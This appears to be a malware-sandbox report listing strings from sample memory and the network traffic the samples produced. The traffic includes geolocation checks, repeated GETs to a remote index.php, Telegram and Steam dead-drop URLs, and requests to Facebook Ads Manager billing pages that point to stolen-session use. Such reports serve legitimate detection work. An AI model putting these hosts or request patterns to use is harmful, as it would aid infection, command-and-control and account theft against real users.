Source: D804.exe, 00000013.00000003.452681314.0000000000647000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000013.00000002.619178225.000000000062B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/?
Source: A170.exe, 0000001D.00000002.490407985.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, A170.exe, 0000001D.00000003.488086932.0000000000939000.00000004.00000020.00020000.00000000.sdmp, A170.exe, 0000001D.00000002.490407985.0000000000939000.00000004.00000020.00020000.00000000.sdmp, 913F.exe, 00000025.00000002.514716181.0000000000667000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: D804.exe, 00000010.00000003.452471512.0000000000851000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json#&
Source: A170.exe, 0000001D.00000002.490407985.00000000008D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json1
Source: A170.exe, 0000001D.00000002.490407985.00000000008D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonA
Source: D804.exe, 00000006.00000002.450438133.0000000000707000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonG.S
Source: D804.exe, 00000013.00000002.619178225.00000000005F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonV
Source: D804.exe, 00000013.00000003.452681314.0000000000647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonq
Source: 913F.exe, 00000025.00000002.514716181.0000000000667000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsons
Source: D804.exe, 00000010.00000002.619429561.0000000000808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonyY&$
Source: D804.exe, 00000013.00000003.452681314.0000000000647000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000013.00000002.619178225.000000000062B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/u
Source: build2.exe, 00000018.00000002.478126519.0000000000840000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://freebl3.dllmozglue.dllmsvcp140.dllnss3.dllsoftokn3.dllvcruntime140.dll
Source: aafg31.exe, 00000015.00000003.616407141.000001E2922BE000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.616139527.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.617336652.000001E292381000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.616875927.000001E2922D3000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.558548528.000001E2922B9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.559523108.000001E29229C000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593963921.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593189980.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593189980.000001E2922BE000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E2922CB000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.560301255.000001E29229E000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.616407141.000001E2922D0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://messenger.com/
Source: aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.644310592.000001E292380000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.616407141.000001E2922D0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.xx.fbcdn.net/rsrc.php/v3/y-/l/0
Source: aafg31.exe, 00000015.00000003.616139527.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.617336652.000001E292381000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.558548528.000001E2922B9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.559523108.000001E29229C000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593963921.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593189980.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E2922CB000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.560301255.000001E29229E000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.xx.fbcdn.net/rsrc.php/v3/y2/l/0
Source: aafg31.exe, 00000015.00000003.616139527.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.617336652.000001E292381000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.558548528.000001E2922B9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.559523108.000001E29229C000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593963921.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593189980.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E2922CB000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.560301255.000001E29229E000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.xx.fbcdn.net/rsrc.php/v3/y4/r/ZZnKfYusN8Z.js?_nc_x=Ij3Wp8lg5Kz
Source: aafg31.exe, 00000015.00000003.616139527.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.617336652.000001E292381000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.558548528.000001E2922B9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.559523108.000001E29229C000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593963921.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593189980.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E2922CB000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.560301255.000001E29229E000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.xx.fbcdn.net/rsrc.php/v3/yB/l/0
Source: aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.644310592.000001E292380000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.616407141.000001E2922D0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.xx.fbcdn.net/rsrc.php/v3/yE/l/0
Source: aafg31.exe, 00000015.00000003.616139527.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.617336652.000001E292381000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.558548528.000001E2922B9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.559523108.000001E29229C000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593963921.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593189980.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E2922CB000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.560301255.000001E29229E000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.xx.fbcdn.net/rsrc.php/v3/yE/r/yWg6mkUCjYR.js?_nc_x=Ij3Wp8lg5Kz
Source: aafg31.exe, 00000015.00000003.559161122.000001E2901D6000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.617144495.000001E292287000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.643446636.000001E29228C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.xx.fbcdn.net/rsrc.php/v3/yI/r/Ib90vcVxYzI.js?_nc_x=Ij3Wp8lg5Kz
Source: aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.644310592.000001E292380000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.616407141.000001E2922D0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.xx.fbcdn.net/rsrc.php/v3/yK/l/0
Source: aafg31.exe, 00000015.00000003.616407141.000001E2922BE000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.617256768.000001E292290000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.616139527.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.536338668.000001E292285000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.616875927.000001E2922D3000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.558548528.000001E2922B9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593963921.000001E2922D6000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.559523108.000001E29229C000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593963921.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.536309898.000001E292289000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593189980.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593189980.000001E2922BE000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E2922CB000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.558924559.000001E292285000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.617144495.000001E292287000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.560301255.000001E29229E000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.644310592.000001E292380000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.616407141.000001E2922D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.xx.fbcdn.net/rsrc.php/v3/yL/r/camCPYrr6r7.js?_nc_x=Ij3Wp8lg5Kz
Source: aafg31.exe, 00000015.00000003.617144495.000001E292287000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.643446636.000001E29228C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.xx.fbcdn.net/rsrc.php/v3/yO/r/_tJ17sGyx
Source: aafg31.exe, 00000015.00000003.559161122.000001E2901D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.xx.fbcdn.net/rsrc.php/v3/yO/r/_tJ17sGyxOX.js?_nc_x=Ij3Wp8lg5Kz
Source: aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.xx.fbcdn.net/rsrc.php/v3/yP/l/0
Source: aafg31.exe, 00000015.00000003.616139527.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.617336652.000001E292381000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.558548528.000001E2922B9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.559523108.000001E29229C000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593963921.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593189980.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E2922CB000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.560301255.000001E29229E000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.xx.fbcdn.net/rsrc.php/v3/yT/r/Kp9IMjEGN_T.js?_nc_x=Ij3Wp8lg5Kz
Source: aafg31.exe, 00000015.00000003.616139527.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.617336652.000001E292381000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.558548528.000001E2922B9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.559523108.000001E29229C000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593963921.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593189980.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E2922CB000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.560301255.000001E29229E000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.xx.fbcdn.net/rsrc.php/v3/ye/r/sczXDyPA0UL.js?_nc_x=Ij3Wp8lg5Kz
Source: aafg31.exe, 00000015.00000003.616139527.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.617336652.000001E292381000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.558548528.000001E2922B9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.559523108.000001E29229C000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593963921.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593189980.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E2922CB000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.560301255.000001E29229E000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.xx.fbcdn.net/rsrc.php/v3/yn/r/A-4As8UDAZ8.js?_nc_x=Ij3Wp8lg5Kz
Source: aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.644310592.000001E292380000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.616407141.000001E2922D0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.xx.fbcdn.net/rsrc.php/v3/yq/l/0
Source: aafg31.exe, 00000015.00000003.616139527.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.617336652.000001E292381000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.558548528.000001E2922B9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.559523108.000001E29229C000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593963921.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593189980.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E2922CB000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.560301255.000001E29229E000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.xx.fbcdn.net/rsrc.php/v3/yt/r/v75M7CPu9-P.js?_nc_x=Ij3Wp8lg5Kz
Source: aafg31.exe, 00000015.00000003.616139527.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.617336652.000001E292381000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.558548528.000001E2922B9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.559523108.000001E29229C000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593963921.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593189980.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E2922CB000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.560301255.000001E29229E000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.xx.fbcdn.net/rsrc.php/v3i7M54/yx/l/en_US/LsRZeEzcd6B.js?_nc_x=Ij3Wp8lg5Kz
Source: build2.exe, 00000018.00000002.478126519.0000000000840000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199508624021
Source: build2.exe, 00000018.00000002.478126519.0000000000840000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199508624021update.zipopenopen_NULL%s
Source: build2.exe, 00000018.00000002.478487593.00000000008C8000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/looking_glassboeL
Source: build2.exe, 00000018.00000002.478126519.0000000000840000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://t.me/looking_glassbot
Source: build2.exe, 00000018.00000002.478126519.0000000000840000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://t.me/looking_glassbotlookataddon.zipMozilla/5.0
Source: D804.exe, 00000013.00000002.619178225.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-tnzomMj6
Source: D804.exe, 00000010.00000002.619429561.0000000000891000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000013.00000002.636070288.00000000031DB000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000013.00000002.619178225.0000000000680000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000013.00000002.619178225.00000000006AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-tnzomMj6HU

Source: unknown

DNS traffic detected: queries for: potunulit.org

Source: global traffic	HTTP traffic detected: GET /tmp/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: speedlab.com.eg
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /tmp/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: speedlab.com.eg
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /looking_glassbot HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.me
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /tmp/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: speedlab.com.eg
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /tmp/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: speedlab.com.eg
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /ads/manager/account_settings/account_billing/ HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1Host: adsmanager.facebook.comUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62sec-ch-ua: "Microsoft Edge";v="111", "Not(A:Brand";v="8", "Chromium";v="111"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-prefers-color-scheme: lightUpgrade-Insecure-Requests: 1Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: document
Source: global traffic	HTTP traffic detected: GET /login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62sec-ch-ua: "Microsoft Edge";v="111", "Not(A:Brand";v="8", "Chromium";v="111"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-prefers-color-scheme: lightUpgrade-Insecure-Requests: 1Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentHost: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /looking_glassbot HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.meCookie: stel_ssid=638c97e8fa9f45a999_4963120488110758311
Source: global traffic	HTTP traffic detected: GET /ads/manager/account_settings/account_billing/ HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1Host: adsmanager.facebook.comUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62sec-ch-ua: "Microsoft Edge";v="111", "Not(A:Brand";v="8", "Chromium";v="111"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-prefers-color-scheme: lightUpgrade-Insecure-Requests: 1Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: document
